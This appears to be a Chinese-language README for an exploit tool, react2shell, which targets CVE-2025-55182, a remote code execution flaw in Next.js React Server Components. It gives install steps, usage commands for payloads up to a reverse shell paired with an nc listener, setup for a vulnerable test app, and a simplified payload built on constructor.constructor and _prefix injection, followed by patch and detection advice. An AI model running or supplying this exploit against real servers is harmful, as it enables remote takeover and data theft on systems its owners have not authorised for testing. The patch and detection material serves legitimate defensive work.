针对 CVE-2025-55182 的概念验证(PoC)漏洞利用代码,该漏洞是 Next.js 应用使用 React Server Components 时存在的严重远程代码执行(RCE)漏洞。
本工具仅用于教育和授权安全测试。
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
| 载荷 | 描述 | 示例 |
|---|---|---|
basic | 数学概念验证(7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | 显示当前系统用户 | node react2shell.js http://target:3000 whoami |
dir | 列出当前目录内容 | node react2shell.js http://target:3000 dir |
systeminfo | 显示操作系统信息 | node react2shell.js http://target:3000 systeminfo |
file | 创建 EXPLOITED.txt 验证文件 | node react2shell.js http://target:3000 file |
calc | 启动计算器(Windows 可视化验证) | node react2shell.js http://target:3000 calc |
notepad | 启动记事本(Windows 可视化验证) | node react2shell.js http://target:3000 notepad |
shell | 反向 Shell(自动检测 Windows/Linux) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |
node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50
# Get current user
node react2shell.js http://localhost:3000 whoami
# List files
node react2shell.js http://localhost:3000 dir
# System information
node react2shell.js http://localhost:3000 systeminfo
# Launch calculator
node react2shell.js http://localhost:3000 calc
# Launch notepad
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Works on both Windows (PowerShell) and Linux (Bash)
# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade to vulnerable version
npm install [email protected]
# Install dependencies
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server runs on http://localhost:3000
该漏洞利用利用了 React Server Components 中的反序列化漏洞:
constructor.constructor 访问 Function 构造器_prefix 字段注入任意 JavaScript 代码// Simplified vulnerability chain
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
立即更新:
npm update next@latest
npm update react@latest react-dom@latest
验证已修复版本:
npm list next react
所需版本:
next-action 标头的可疑 POST 请求查找具有以下特征的 POST 请求:
next-actionmultipart/form-dataconstructor、_prefix、_formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
这是一个教育工具。欢迎改进以下方面的贡献:
请勿提交增强攻击能力的贡献。
仅限教育用途 - 不提供任何担保
Luiz Fernando Ziron 为网络安全教育和意识提升而创建。
使用本工具即表示您同意:
在大多数司法管辖区,未经授权访问计算机系统属于犯罪行为。
保持安全,恪守道德,合法行事。🔒